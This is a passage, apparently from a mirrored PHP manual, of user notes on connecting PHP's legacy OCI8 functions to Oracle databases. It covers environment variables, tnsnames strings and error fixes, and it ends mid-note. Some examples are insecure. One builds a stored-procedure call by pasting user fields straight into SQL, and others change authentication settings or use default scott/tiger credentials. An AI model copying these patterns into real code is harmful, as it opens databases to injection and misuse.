#putenv("ORACLE_HOME=/u01/app/oracle/product/9.2.0.1.0");
$ORACLE_SID = getenv("ORACLE_SID");
$ORACLE_HOME = getenv("ORACLE_HOME");
echo "ORACLE_SID = $ORACLE_SID<br>";
echo "ORACLE_HOME = $ORACLE_HOME<br>";

   $cn = ociplogon('scott', 'tiger');
echo "cn = $cn<br />\n";
   $st = ociparse($cn, "select tname from tab");
echo "st = $st<br />\n";
   $ex = ociexecute($st,OCI_COMMIT_ON_SUCCESS);
echo "ex = $ex<br />\n";
   $mr = ocifetchinto($st,$xx,OCI_ASSOC);
   while ( $mr )
   {
       dump_array($xx);
       $mr = ocifetchinto($st,$xx,OCI_ASSOC);
   }
   $fr = ocifreestatement($st);
echo "fr = $fr<br />";
   ocicommit($cn);
   ocilogoff($cn);
?>
william_poulsen at hotmail dot com
18-Jun-2004 07:00
If you are trying to do an Oracle query from the command line you may need to manually configure ORACLE_SID.  If, for example, you want the server to generate emails based on the contents of some tables you can setup a cron job to run your PHP script as opposed to requiring somebody to go to the page in a browser.  From a PHP script within a browser you can do something like the following because the TSANames are configured within Apache...
<?php
$db = "DBNAME";
$odbc = ocilogon ('USER', 'PASS', $db) or die( "Could not connect to Oracle database!");
if ($odbc == false){
   $msg = OCIError($odbc)."<BR>";}
?>

From a commandline script you have to change the $db variable as follows...

#!/path/to/commandline/php
<?php
$db ="(DESCRIPTION =
     (ADDRESS =
         (PROTOCOL = TCP)
         (HOST = HOSTNAMEHERE)
         (PORT = 1521)
     )
   (CONNECT_DATA = (SID = SIDNAMEHERE))
  )";

$odbc = ocilogon ('user', 'pass', $db) or die( "Could not connect to Oracle database!") or die (ocierror());
?>
cjbj at hotmail dot com
16-Feb-2004 05:06
If PHP is linked with Oracle 10g (or later) client libraries, the Easy
Connection syntax can be used to identify which database to connect
to.  This can remove the need for a local tnsnames.ora file or complex
connect string.  The new syntax can be used to connect to earlier
versions of Oracle.

With Oracle 10g client libraries, the third parameter "db" for
OCILogon can have the syntax:

   [//]host[:port][/service_name]

An example is:

   $c = OCILogon('scott', 'tiger', '//mymachine.mydomain/mydbservice');

The pre-10g syntax equivalent is something like:

   $c = OCILogon('scott', 'tiger',
       '(DESCRIPTION=(ADDRESS_LIST=(ADDRESS=(PROTOCOL=TCP)
       (HOST=mymachine.mydomain) (PORT=1521)))
       (CONNECT_DATA=(SERVICE_NAME=MYDBSERVICE)))');

The full syntax continues to work with 10g.  It allows for more
complex configuration than available with the Easy Connect method.

Oracle documentation and the fine print for Easy Connect is at:

http://download-west.oracle.com/docs/cd/B12037_01/network.101/
b10775/naming.htm#i498306
(note the split URL due to PHP doc site limitations needs to be recombined for use)
Rick Fletcher <fletch_pobox#com>
08-Jan-2004 06:35
Using PHP 4.3.4, Apache/2.0.48, Oracle 9.2 the following line would generate the same ORA-12560 errors that lffranco reported, even with the "ORACLE_SID" environmental variable set.

<?php $DBH = OCILogon( "user", "pass" ); ?>

Once I set Oracle's hidden "LOCAL" environmental variable to the same value as "ORACLE_SID", all was well.
lffranco *at* dco dot pemex dot com
18-Dec-2003 04:26
This took me a lot of time to solve, so I'm placing it here for my future reference, and for somebody who finds it useful. I don't know if it will work on your environment, this is what I have:

* Windoze Advanced Server 2003
* IIS 6
* Oracle 8.1.7

So how I configured the whole thing? First do whatever the standard PHP configuration says... it won't work, anyway... but it will help. I installed PHP on C:\PHP; Oracle Home is in E:\Oracle\ora817.

* Install Oracle 8 client. NOTE: You must use an Oracle 8 client, I used an Oracle 9 client and for some reason (dll binding I guess), it didn't work

* Copy $ORACLE_HOME/bin/cli.dll into $WINDOWS/System32

* Modify your SQLNET.ORA file and change the line:
[code]
SQLNET.AUTHENTICATION_SERVICES= (NTS)
[/code]

by this one:

[code]
SQLNET.AUTHENTICATION_SERVICES= (NONE)
[/code]

I dunno WTF NTS is, so if somebody sends me an eMail and explain, I'll be thankful. But if you don't do this you'll get an ORA-12560 error.

And that's it for Oracle. Now, the IIS configuration:

* Open your IIS Administrator and "Web Service Extensions", add a new extension as follows:
** Extension Name: PHP
** Required Files (ADD): C:\php\extensions\php_oci8.dll; c:\php\sapi\php4isapi.dll; c:\WINDOWS\system32\oci.dll
** Check "Set Extension Status as Allowed"

Now you can use your ocli* functions, or better yet, use PEAR::DB functions which was my ultimate goal, with PEAR::DB you can forget about declaring ORACLE_HOME, ORACLE_SID and all that kind of things. Just use:

<?php
$dsn = "oci8://scott:tiger@example"
$db = DB::Connect($dsn);
?>
aleigh at tessier dot com
17-Nov-2003 07:16
Warning: ocilogon(): _oci_open_session: OCIHandleAlloc OCI_HTYPE_SVCCTX: OCI_INVALID_HANDLE can also be caused by running the webserver with an ORACLE_HOME of a (radically?) different version than PHP was linked against.

I experienced this when I accidently used an Oracle 8 ORACLE_HOME for a PHP that was linked against Oracle 9.
aliquis at die dot spammers dot die dot link-net dot org
23-Oct-2003 09:39
I've had all kinds of errors with RedHat9(yuck), PHP 4.3.4RC1 and Oracle enterprice server 9.2. For some time I thought that --with-oci8 wouldn't work with Oracle9 but that wasn't the case, the solution was many steps.

1) install oracle, might require some tricks, on RedHat9 I had to put this in my .bashrc:
export ORACLE_BASE=/opt/ora9
export ORACLE_HOME=$ORACLE_BASE/product/9.2
export PATH=$ORACLE_HOME/bin:$PATH
export ORACLE_OWNER=oracle
export ORACLE_SID=netadmdb
export ORACLE_TERM=vt100
export LD_ASSUME_KERNEL=2.4.1
export THREADS_FLAG=native
export LD_LIBRARY_PATH=$ORACLE_BASE/product/9.2/lib:$LD_LIBRARY_PATH

2) compile php, use --with-oci8

3) Make an init-script for the oracle9 database server, as default the TNS listener doesn't run so add that on aswell, example:
#!/bin/bash
export ORACLE_HOME=/opt/ora9/product/9.2
export PATH=$ORACLE_HOME/bin:$PATH
export ORACLE_SID=netadmdb
export DISPLAY=:0
oracle_user=oracle
export oracle_user
case $1 in
start)
su - "$oracle_user"<<EOO
sqlplus /nolog<<EOS
connect / as sysdba
startup
EOS
/opt/ora9/product/9.2/bin/lsnrctl start
EOO
;;
stop)
su - "$oracle_user"<<EOO
/opt/ora9/product/9.2/bin/lsnrctl stop
sqlplus /nolog<<EOS
connect / as sysdba
shutdown immediate
EOS
EOO
;;
*)
echo "Usage: ora9 [start|stop]"
;;
esac

4) Configure Apache. For some reason it requires some tweaking with environment variables, in the begining I put those in the PHP-script with putenv, later in the httpd.conf with SetEnv and the mod_env module. But I was told to not do that and instead set them in the init script for Apache. So I copied apachectl to /etc/init.d and edited envvars in $APACHE_PATH/bin. First I added all kinds of env variables until I got it to work, and then I removed them one at a time and came to the following minimal configuration:
LD_LIBRARY_PATH="/usr/local/apache2/lib:$LD_LIBRARY_PATH"
ORACLE_HOME=/opt/ora9/product/9.2
LANG=sv_SE
export LD_LIBRARY_PATH ORACLE_HOME LANG

Earlier I had added NLS_LANG and TNS_ADMIN above those mentioned above (point 1), but it seems those aren't needed really. So no need for TWO_TASK or ORACLE_SID, only needed one is ORACLE_HOME and if you get missing/invalid option for your OCILogon set LANG to something else like I did. Someone earlier said it might have to do with UTF8.

So if you are sure lsncrtl are started and that you have the correct env-variables set in your $APACHE_PATH/bin/envvars you can just use something like:

$iDBConn=OCILogon("user","pass","netadmdb");

in your PHP-script and it should work.
Hope this helps someone.
Tomasz dot Kokowski at put dot poznan dot pl
03-Oct-2003 02:45
Getting PHP 4.3.3 (and lower versions) to work
with Apache v2.xxx and Oracle 8i was easy.

But just after Oracle upgrade to 9i ugly message
appeared when ocologon () was called :

Warning: ocilogon(): _oci_open_session: OCIHandleAlloc OCI_HTYPE_SVCCTX: OCI_INVALID_HANDLE

What we should do? All environment variables
has been set correctly, tnsnames too (it worked
under oracle 8i).

The solution was posted 2003-09-17 22:24 by
Andy Hassall (andy@andyh.co.uk) responding in
news:comp.lang.php threat "PHP & OCI9. No such..."

"Also check file permissions on the Oracle home; by default, Oracle 9i installs the Oracle home with restricted permissions (this differs from 8i). You may need to grant at least Read and Execute permissions to the web server's user."

That's correct. I've added r-x permissions for others
for oracle user $HOME and got nice message - logged
with success!

Tomasz Kokowski
Franks
20-Aug-2003 10:52
For those having Oracle errors, I find out that little something, while using Apache2. I don't know if this applies also to Apache 1.x, but for Apache2, this is the ultimate solution!

Especially with ORA-12154 and ORA-12505, some said to write the following code in your php script, but if you have access to the configuration or your web server, DON'T!

<?php
putenv("ORACLE_SID=TESTDB");
//putenv("ORACLE_HOME=/oracle/ora90");
//putenv("TNS_ADMIN=/oracle/ora90/network/admin");
$username = "scott";
$passwd = "tiger";
$db="(DESCRIPTION=
         (ADDRESS_LIST=
           (ADDRESS=(PROTOCOL=TCP)
             (HOST=yourTargetMachine)(PORT=1521)
           )
         )
           (CONNECT_DATA=(SERVICE_NAME=TESTDB))
     )";
$conn = OCILogon($username,$passwd,$db);
...
?>

All right, like I said, if you have access to the configuration of apache, there is a file in $APACHE2/bin called envvars. Simply put the necessary environment variables needed by Oracle in this file: ORACLE_SID, ORACLE_BASE, ORACLE_HOME and myself I also added LD_LIBRARY_PATH with oracle directories.

At first, my problem was that I didn't had all the environment sets when rebooting the server, but if I'd stop apache, then restart it, while beeing root, all the environment was there. Setting the envvars file correctly solved the reboot problem.

Hope this will help!
Franks
NOSPAMPLZ!esartoni at omniaglobal dot net
27-May-2003 06:12
I had a little problem with ocilogon but only with RedHat 8.0. It always returned some kind of error during connection like 'OCISessionBegin - ... invalid character', or 'OCISessionBegin - ... missing or invalid option in ...'

I have finally found what is this problem! You have to change your LANG enviroment variable disabling UTF-8. Example: LANG=en_US.UTF-8 should become LANG=en_US.
nino at lkp dot ifsab dot se
21-May-2003 08:17
After a long time trying to get a select to work I found something that is not in the comments. TWO_TASK environment variable must be set to the database alias in tnsnames.ora for it to work with my setup.
RH 9.0 (Apache 2.0)
PHP 4.2.2 with SRPM recompiled with oci8 support
Oracle 8.1.7.0.0 client installed

Hope it helps some poor soul.
/Nicke
john at john-warner dot com
21-Nov-2002 08:13
In addition to the earlier posts here is a further explaination;

Problem: Regular and Remote authentication does not work using Windows 2000 + PHP and Oracle 8i, 9i.

Secondary Issue if using Oracle 9.2.0.1
     When using Oracle 9.2.0.1 the Error structure returned by Oracle is different than expected by PHP. As a result there will be no legible error message other than the following;
     Warning: _oci_open_server: in ...

Using Oracle 9.0.1.1 the error message returned is any of the following depending on your situation;

Warning: _oci_open_server: ORA-12638: Credential retrieval failed in ...
Warning: _oci_open_server: ORA-12154: TNS:could not resolve service name in ...
Warning: _oci_open_server: ORA-12505: TNS:listener could not resolve SID given in connect descriptor in ...

Resolution:
In order to get this to work properly you need to do the following;
In reference to ORA-12638: Credential retrieval failed in ...
you need to edit your sqlnet.ora file and change the
SQLNET.AUTHENTICATION_SERVICES = (NTS) to
SQLNET.AUTHENTICATION_SERVICES = (NONE)
The reason is that using NTS validation on a Windows 2000 machine essentially means Kerberos.
Using (NONE) will tell oracle not to expect kerberos "Credentials" as a means of validation. In turn it will use the oracle authentication for a database user.

In reference to ORA-12154 and ORA-12505 you need to do the following;
In your php code you are using to connect you need to copy the section in tnsnames.ora
into a variable.
For example;
<?php
putenv("ORACLE_SID=TESTDB");
//putenv("ORACLE_HOME=/oracle/ora90");
//putenv("TNS_ADMIN=/oracle/ora90/network/admin");
$username = "scott";
$passwd = "tiger";
$db="(DESCRIPTION=
           (ADDRESS_LIST=
             (ADDRESS=(PROTOCOL=TCP)
               (HOST=yourTargetMachine)(PORT=1521)
             )
           )
             (CONNECT_DATA=(SERVICE_NAME=TESTDB))
     )";
$conn = OCILogon($username,$passwd,$db);
if (!$conn)
{
   echo "Connection failed";
   echo "Error Message: [" . OCIError($conn) . "]";
   exit;
}
else
{
   echo "Connected!";
}
...
?>
I left the ORACLE_HOME and TNS_ADMIN putenv lines commented out and your need for them depends on which web server you are using. If you are using Apache, you may need both.
If you are using Microsoft IIS you may need ORACLE_HOME. Putting it in can't hurt and it appears PHP may read them if they are there but either way you should be working at this
point.

Live long and prosper.
DBrown3205 at aol dot com
09-Apr-2002 10:49
If you're running an apache server, make sure you have php setup as a module. Then just include the environment variables in the apache config, and use all 3 parts of the ocilogon. You don't even have to copy the tsnnames.ora definition, just use the standard sid
i990712 at dei dot isep dot ipp dot pt
03-Oct-2001 08:53
For those of you who are having Oracle errors: ORA-12154 or ORA-12505 or ORA-01005 do the folowing:

The folowing precedures have been tested when connecting to a HP UX with Oracle 7.x using of couse the OCI8 as the client interface.

Add those lines to the web server config files or set and export those ones before the web server starts.

On Apache add these lines to httpd.conf:

SetEnv ORACLE_HOME /usr/local/oracle
SetEnv ORACLE_SID <sid>
SetEnv LD_LIBRARY_PATH /usr/local/oracle/lib
SetEnv TNS_ADMIN /usr/local/oracle/tnsnames.ora
SetEnv TWO_TASK /usr/local/oracle/tnsnames.ora
SetEnv NLS_LANG  English_America.WE8ISO8859P1
SetEnv ORACLE_BASE /usr/local

When calling the OCILogon do this:

$db = "  (DESCRIPTION =
   (ADDRESS = (PROTOCOL = TCP) (HOST =server_ip_or_dns_name)(PORT = 1521))
   (CONNECT_DATA= (SID = _sid_))
   )";

The previous definition is a copy of the service definition that is stored in the tnsnames.ora file.

Next, call the OCILogon function using the folowing format:

OCILogon("user/password","password", $db);

To avoid ORA-01005 error, set the NLS_LANG environment variable to English_America.WE8ISO8859P1 ( some other values may work...but we have found that this one works for us )

To avoid ORA-12154 and ORA-12505, use the service definition as the OCILogon third parameter.

I'd like to thanks to a friend of mine a.k.a Rosa for the user/password tip.

Regards
Miguel Carvalho
me at dglewis dot com
09-Aug-2001 09:14
Some trouble-shooting notes:<br>
When using Apache with dso support and php as a loadable module, be sure to stop/start your web server between tnsnames.ora changes (sending HUP to apache "apachectl restart" doesn't appear to flush cached connect string).<br>
You'll see your changed connect strings in the listener log file.<p>
TNSNAMES.ORA:<br>
This is a very simple file to manage, yet can be very picky about your syntax.  Simply ensure that you follow one of these two examples:<br>
Legacy SID:<br>
alias-or-sidname =
  (DESCRIPTION =
   (ADDRESS = (PROTOCOL = TCP)(Host = hostname-or-ipaddress)(Port = 1521))
   (CONNECT_DATA =
     (SID = sidname)
   )
  )<br>
8i SERVICE NAME:<br>
hostname.domainname.com =
  (DESCRIPTION =
   (ADDRESS_LIST =
     (ADDRESS = (PROTOCOL = TCP)(HOST = hostname-or-ipaddress)(PORT = 1521))
   )
   (CONNECT_DATA =
     (SERVICE_NAME = servicename)
   )
  )</p>
Additional notes:<br>
- ORA/TNS-12514 error can also be caused by listener not being started.
- Ensure that httpd user (i.e. nobody) has the following in its environment (putenv is unnecessary if env is set by os via /etc/profile):
$ORACLE_SID
$ORACLE_HOME<br>
Also, some helpful resources:
- TNS Error Messages:
http://www.oradoc.com/ora817/server.817/a76999/tnsus.htm#1000527
- TNS Listener logs:
$ORACLE_HOME/network/log/...
Marinne at ilovechocolate dot com
17-May-2001 08:25
One simple but useful note:check whether your TNS Listener is running! By default, it's not started automatically when an Oracle instance is started. Login as oracle then type :

lsnrctl START

After it's started, I can sucessfully run the sample code on this page! I used to got ora-12514 error before doing this.
bluei at phpworld dot org
06-Mar-2001 06:57
check your tnsnames.ora permission.

ex)
ORACLE_HOME = /home/oracle/oracle

chmod 755 /home/oracle/oracle/network/admin -R

Yahoo!!!!!! I solved it!!!
c_caughlan at hotmail dot com
20-Jan-2001 12:05
If you are experiencing problems logging onto your Oracle DB, maybe a ORA-12154 error or something like that, try setting the ORACLE_HOME, ORACLE_SID, TNS_ADMIN vars in your Apache config, rather than using PutEnv() inside PHP. Its because PHP/Apache needs to know these variables upon server startup, not when it serves the PHP page. Of course, this assumes you have OCI installed locally on the webserver, if you dont, no matter what variables you set and where, it just wont work.
obatopaye at yahoo dot com
19-Oct-2000 02:45
To avoid the ORACLE_SID problem/not being able to connect to database:

Apache parent thread runs as 'root' - setup root's profile to have ORACLE variables - then when script starts Apache - also initialize profile to current shell.

user 'nobody' inherits all root's profile.
lhf at mail dot 2932 dot com dot cn
14-Jul-2000 11:39
While login to remote oracle server,you should setup oracle client first.If failed with error ora-12154,Please if you web server account can acess the tnsnames.ora file or not.One way is login as root then 'su nobody' and set the correct envrionment,run sqlplus to test if it works fine.
vasquez at sp-am dot dot eu
13-May-2000 06:54
If you try to connect to an Oracle7 database,
and you get the "ora-01005, null password given errror", make sure to do the following:<br>
-install net8 (ok, you already did)<br>
- use net8 as ORACLE_HOME *for the webserver*!<br>
- add the user of the httpd process  (nobody or www or whatever) to the group oracle<br>
- use the TWO_TASK env for connecting
rkohli at xperts dot com
01-Apr-2000 03:32
Regarding connecting to an Oracle Db on NT from Linux, here is what you need to do. Little Oracle knowledge is a prerequisite.

1. Install Oracle database client onto Linux.
2. Once installed on Linux, modify the tnsanmes.ora file to create an alias to the database running on the NT box. Follow the syntax already in the tnsnames.ora file
3. Depending on the version of Oracle you have and the Oracle Database has the listener running there is a utility called tnsping(xx) that you can use to verify that you can hit a remote 0racle database syntax is tnsping <alias in tnsnames.ora>
4. You could use sqlplus to conenct to the remote database to verify the login process works. Remember to use login_id@tnsnames_alias/password
5. Once you have gotten this far PHP should be able to hit the database. Give it a shot. You might need to tool around the PHP config to get things to work. use the phpinfo function to debug, its rather useful.
akolk at gelrevision dot nl
05-Aug-1999 01:04
If you have Oracle8i installed, link against those directories. That will give you a number of usefull performance boosts while fetching data from the database. These optimizations will only work if your client libraries and server libraries are Oracle8i
Jeremy dot Bouse at UnderGrid dot net
20-Jul-1999 12:08
The ORACLE_SID should be known as it is the ID that designates the database you are wishing to connect to... Your oracle DBA account should have this set and running oraenv should recommend the correct SID if properly setup.
add a note add a note

后退 | 起点 | 前进
ocilogoff | 上一级 | ocinewcollection


ocinewcollection

(PHP 4 >= 4.0.6, PHP 5)

ocinewcollection -- oci_new_collection() 的别名

说明

本函数是该函数的别名：oci_new_collection()。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ocilogon | 上一级 | ocinewcursor


ocinewcursor

(PHP 3 >= 3.0.8, PHP 4, PHP 5)

ocinewcursor -- oci_new_cursor() 的别名

说明

本函数是该函数的别名：oci_new_cursor()。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ocinewcollection | 上一级 | ocinewscriptor


ocinewscriptor

(no version information, might be only in CVS)

ocinewscriptor -- oci_new_descriptor() 的别名

说明

本函数是该函数的别名：oci_new_descriptor()。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ocinewcursor | 上一级 | ocinlogon


ocinlogon

(PHP 3 >= 3.0.8, PHP 4, PHP 5)

ocinlogon -- oci_new_connect() 的别名

说明

本函数是该函数的别名：oci_new_connect()。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ocinewscriptor | 上一级 | ocinumcols


ocinumcols

(PHP 3 >= 3.0.4, PHP 4, PHP 5)

ocinumcols -- oci_num_fields() 的别名

说明

本函数是该函数的别名：oci_num_fields()。

add a note add a note User Contributed Notes
jnield at impole dot com
19-Nov-1999 11:43
The following is not immediately obvious:

If you need the number of columns in a REF CURSOR returned from a PL/SQL procedure, you need to use OCINumColumns() on the cursor handle returned by OCINewCursor after it is bound and executed, not the statement handle. Same applies for OCIColumnName() and friends.
add a note add a note

后退 | 起点 | 前进
ocinlogon | 上一级 | ociparse


ociparse

(PHP 3 >= 3.0.4, PHP 4, PHP 5)

ociparse -- oci_parse() 的别名

说明

本函数是该函数的别名：oci_parse()。

add a note add a note User Contributed Notes
27-Jan-2006 08:05
one of the most things that is done wrong with oracle is the following.

Cosider:
-------------------------------------------------------------------
$dbh = ocilogon('user', 'pass', 'db');

for ($i = 0; $i<=10; $i++) {
   $sth = ociparse($dbh, 'SELECT * FROM T WHERE x = :x');

   ocibindbyname($sth, ':x', $i, -1);
   ociexecute($sth, OCI_DEFAULT);
   if (ocifetchrow($sth, $row, OCI_ASSOC+OCI_RETURN_NULLS)) {
       var_dump($row);
   }
}

ocilogoff($dbh);
-------------------------------------------------------------------
Problem here is, that you parse the same statement over and over and that'll cost ressources and will introduce many wait events. This problem will increase exponentially with the number of users using your system. That's one of the things besides not using bind variables that will prevent your application from scaling well.

The right approach:
-------------------------------------------------------------------
$dbh = ocilogon('user', 'pass', 'db');
$sth = ociparse($dbh, 'SELECT * FROM T WHERE x = :x');
for ($i = 0; $i<=10; $i++) {
   ocibindbyname($sth, ':x', $i, -1);
   ociexecute($sth, OCI_DEFAULT);
   if (ocifetchrow($sth, $row, OCI_ASSOC+OCI_RETURN_NULLS)) {
       var_dump($row);
   }
}
ocilogoff($dbh);
------------------------------------------------------------------
Now we are parsing the statement once and using it as often as possible.

When your using Oracle, create proper indexes, use bind variables and parse once and execute often. Not doing so will get you into trouble when more than a few users are working with your application simultaneously.
kurt at kovac dot ch
04-May-2004 11:40
For those that are having trouble with error checking, i have noticed on a lot of sites that people are trying to check the statement handle for error messages with OCIParse. Since the statement handle ($sth) is not created yet, you need to check the database handle ($dbh) for any errors with OCIParse. For example:

instead of:
$stmt = OCIParse($conn, $query);
if (!$stmt) {
   $oerr = OCIError($stmt);
   echo "Fetch Code 1:".$oerr["message"];
   exit;
}

use:
$stmt = OCIParse($conn, $query);
if (!$stmt) {
   $oerr = OCIError($conn);
   echo "Fetch Code 1:".$oerr["message"];
   exit;
}

Hope this helps someone.
ian at eiloart dot com
05-Aug-2003 07:58
Hey, I did get OCIPARSE to return false. It happened during a session where the previous update had failed.

The SQL for my query was valid, but OCIPARSE returned false to tell me that the query could not be executed because of the previous failure.
steveg at instantdx dot com
02-May-2003 08:53
OCIParse() does return errors, try having a mismatched single quote on an insert, in this case OCIParse returned FALSE, and a call to OCIError($connection) returned the message:  ORA-01756: quoted string not properly terminated

It does seems that OCIParse doesn't catch a whole lot of stuff tho.
chris_maden at hotmail dot com
24-Feb-2001 04:18
It took me a while to work out the semantics of error handling for the Parse/Fetch/Execute seqeunce as well.

OCIParse always returns true, so testing it is a waste of time. Instead, call OCIError, and test the value of the "code" element.

OCINumRows always returns 1, BTW, so you have to loop. There are a number of other postings on this.

&lt;?php

putenv("ORACLE_SID=admin");
putenv("ORACLE_HOME=/home/oracle");

// Kill the internal messages: this is DIY

error_reporting(0);

$conn = OCILogon("scott", "tiger");
$oerr = OCIError();

if ($oerr) {
   if ($oerr["code"] == "1017")
       echo "Please check your username and password";
   else
       echo "Error ".$oerr["message"];
   exit;
} else {
   echo "Hello";
}

// The table name here should be "emp", not "empxx"

$query = sprintf("select * from empxx");

/* Long version */

// Testing the result of the OCIParse call directly doesn't work...

$stmt = OCIParse($conn, $query);
if (!$stmt) {
   $oerr = OCIError($stmt);
   echo "Fetch Code 1:".$oerr["message"];
   exit;
}

// However, if you test this, it performs as you would hope

$oerr = OCIError($stmt);
echo "Fetch Code 2:".$oerr["code"];
if ($oerr["code"]) {
   echo "Error:".$oerr["message"];
   exit;
}

// Or, you can catch it here (comment out the above block of code)

if (!OCIExecute($stmt)) {
   $oerr = OCIError($stmt);
   echo "Execute Code:".$oerr["code"];
   if ($oerr["code"]) {
       echo "Error:".$oerr["message"];
       exit;
   }
}
OCIFetch($stmt);

$ncols = OCINumCols($stmt);
$nrows = OCIRowCount($stmt);
printf("Result size is $ncols cols by $nrows rows.<br>");

for ($i=1; $i<=$ncols; $i++) {
   printf("col[%s] = %s type[%d] = %s size[%d] = %s<br>",
       $i, OCIColumnName($stmt, $i),
       $i, OCIColumnType($stmt, $i),
       $i, OCIColumnSize($stmt, $i));
}

$j=1;

do {
   for ($i=1; $i<=$ncols; $i++) {
       $col = OCIResult($stmt, $i);
       printf("val[%d, %d] = %s * ", $j, $i, $col);
   }
   printf("<br>");
   $j++;
} while (OCIFetch($stmt));
?>
mwd at modulo3 dot de
22-Dec-2000 11:21
if you're using "complex" statements e.g such having calls to build in oracle functions in the select list (as in example below), I did not find any other way as using the "AS <Name>" clause to being able to output the functions outcome using ociresult

example:

ociparse($conn,"select EMPNO, LPAD(' ', 2*(LEVEL-1)) || ENAME AS COMPLETE_FANTASY_NAME, JOB, HIREDATE from scott.emp start with job='MANAGER' connect by PRIOR EMPNO = MGR");

echo ociresult $stmt,"COMPLETE_FANTASY_NAME")." ";

BTW: I also found out by TAE that "COMPLETE_FANATASY_NAME" might not be "complete fantasy" as it has to be all capital letters.
webmaster at remoterealty dot com
01-Nov-1999 05:47
$sth = OCIParse ( $dbh, "begin sp_newaddress( :address_id, '$firstname', '$lastname', '$company', '$address1', '$address2', '$city', '$state', '$postalcode', '$country', :error_code );end;" );

This calls stored procedure sp_newaddress, with :address_id being an in/out variable and :error_code being an out variable.  Then you do the binding:

   OCIBindByName ( $sth, ":address_id", $addr_id, 10 );
   OCIBindByName ( $sth, ":error_code", $errorcode, 10 );
   OCIExecute ( $sth );

Hope this helps!
add a note add a note

后退 | 起点 | 前进
ocinumcols | 上一级 | ociplogon


ociplogon

(PHP 3 >= 3.0.8, PHP 4, PHP 5)

ociplogon -- oci_pconnect() 的别名

说明

本函数是该函数的别名：oci_pconnect()。

add a note add a note User Contributed Notes
M0no at ethonfusino dot com
22-Nov-2002 02:04
If your oracle database is on a remote system within your local network and you don't want to worry about the tnsnames file you can try this.

$db = "(DESCRIPTION=(ADDRESS_LIST = (ADDRESS = (PROTOCOL = TCP)(HOST = 192.168.XX.XXX)(PORT = 1521)))(CONNECT_DATA=(SID=XXXX)))";

$c1 = ocilogon("name","password",$db);

Hope this helps someone.
kakukkfu at mailbox dot hu
27-Sep-2002 02:09
Better to insert needed variables into apache(!) (or your webserver - respectively) start script.

For example on UNIX systems /etc/init.d/apache would contain following lines before anything else:

#!/bin/bash

if [ -f ~oracle/.profile ]; then
       source ~oracle/.profile
fi

The ~oracle/.profile has the appropiate settings to start an Oracle database so it is always up-to-date for PHP, too. (If settings are changed, don't forget to restart your webserver.) This way you just no need to worry what to include or define for PHP.
e dot v dot wijk at hetnet dot nl
06-Apr-2001 10:26
The solution for not being able to connect to an Oracle database usually is setting the right system variables (ORACLE_HOME, etc...). However, it often happens that you are still not able to connect, even though these settings are correctly set.

If this is the case, try the following:

Instead of refering to the entry in the tnsnames.ora, use the actual string from the tnsnames.ora:

$User = "john"
$Password = "doe"
$Database = "(DESCRIPTION = ADDRESS_LIST (ADDRESS = (PROTOCOL= TCP (Host= yourhost) (Port= 1526)))(CONNECT_DATA = (SID = YourTnsSID )))";

OCIPLogon($User, $Password, $Database)

I hope this is helpfull for those strugling to connect to an Oracle database.

Edwin van Wijk
steve at stevedix dot de
07-Feb-2001 11:17
IF you're wondering exactly what you are dealing with, here's a brief explanation:  Oracle is NOT like mysql, which makes it very easy to connect between databases.  Oracle uses a product called sql*net to control connection between remote machines, clients and databases.  It is capable of operating on multiple different network protocols, and requires listeners to be configured for the network protocol you plan to use (usually tcp). This system has its own domain name system which rationalises database names with machines (which is why you don't have a host variable in the OCIPlogin). Configuring these listeners is not easy and requires the editing of two files tnsnames.ora and sqlnet.ora.  Even more important is to make sure that the oracle environment variable TNS_ADMIN points to the place where you put tnsnames.ora and sqlnet.ora

A good place to start reading about this is

http://www.atr.net/faq/software/FRONT_END/faqnet.htm

A more detailed version can be found at :

http://www.orafaq.net/faqnet.htm

Bear in mind that this is an incredibly complex product and not something that you should really be playing with if you don't know what you're doing.  I've seen (otherwise) experienced oracle admins baulk at configuring sql*net.  Pat solutions (like the one above) cannot be used verbatim - you will need to know and substitute several symbolic names.

HTH
mnamdeo at yahoo dot com
15-Aug-2000 05:48
<b>Connect to multiple oracle databases</b>
<p>Easy solution<br>
If you are using phplib, change local.inc $this->$database = <REMOTE_DATABASE_IN_TNSNAMES.ORA>;
<p>That's it.
michel at diefirma dot de
02-Aug-2000 03:03
After hours of weird searching and "try an error"-games with oracle and php Ive got my working system with connection to a remote oracle server. Yeah! Documentation is very bad for this topic and the posts in all the mailing lists are very confusing. But now...

cheers. it works!

here my working sample code (php4 on debian, oracle 8.1.5.0.2 client, oracle 8i enterprise server on win2k)

michel

<pre>
$user = "scott";
$pass = "tiger";
$tns_name = "my_service_name_in_tnsnames.ora";

// set ORACLE Dir to get the NET8 name resolver working
// tnsnames.ora has to be in $ORACLE_HOME/networking/admin/
putenv("ORACLE_HOME=/home/oracle01/app/oracle/product/8.1.5");

// log on to oracle server using data above
$db_id = OCILogon ($user, $pass, $tns_name);
</pre>
add a note add a note

后退 | 起点 | 前进
ociparse | 上一级 | ociresult


ociresult

(PHP 3 >= 3.0.4, PHP 4, PHP 5)

ociresult -- oci_result() 的别名

说明

本函数是该函数的别名：oci_result()。

add a note add a note User Contributed Notes
luismanuelp at gmail dot com
26-Aug-2005 11:05
I am trying to get a list of the first character of a character string.

SELECT distinct substr(version,1,1) as COL1 FROM SPHVVERS where Version is not null order by 1

This was working and then failed recently. I think it is because some of the strings now added contain a number as the first character.

I found to get it to work I had to use decode statement. (To_Char did not work )

SELECT distinct decode (substr(version,1,1),'1','?','0','!',substr(version,1,1)) as COL1 FROM SPHVVERS where Version is not null order by 1
gabi at gambita dot de
02-Sep-2003 12:31
if you want to join two tables having both the same column (e.g. 'id') but you don't want to (or cannot) specify all the other fields in these two tables (like erabbott mentioned), you can use:

SELECT t1.*, t2.*, t1.id AS id1, t2.id AS id2
FROM table1 t1, table2 t2;

Note that this does _not_ work:

SELECT *,t1.id AS id1, t2.id AS id2
FROM table1 t1, table2 t2;
jthome at fcgov dot com
11-Feb-2003 06:56
FYI--

In order to modify Oracle dates (using NLS_DATE_FORMAT...), you must set $ORACLE_HOME first.  This environmental variable is best set in the server startup script (i.e., ./apachectl)

--
Jim
erabbott at NOSPAMterra dot com dot br
27-Sep-2002 10:22
As in my previous post, the same thing applies when using conversion functions in CLOB columns.

Probably the same thing will occur to any conversion function that you use.

So, this wont work

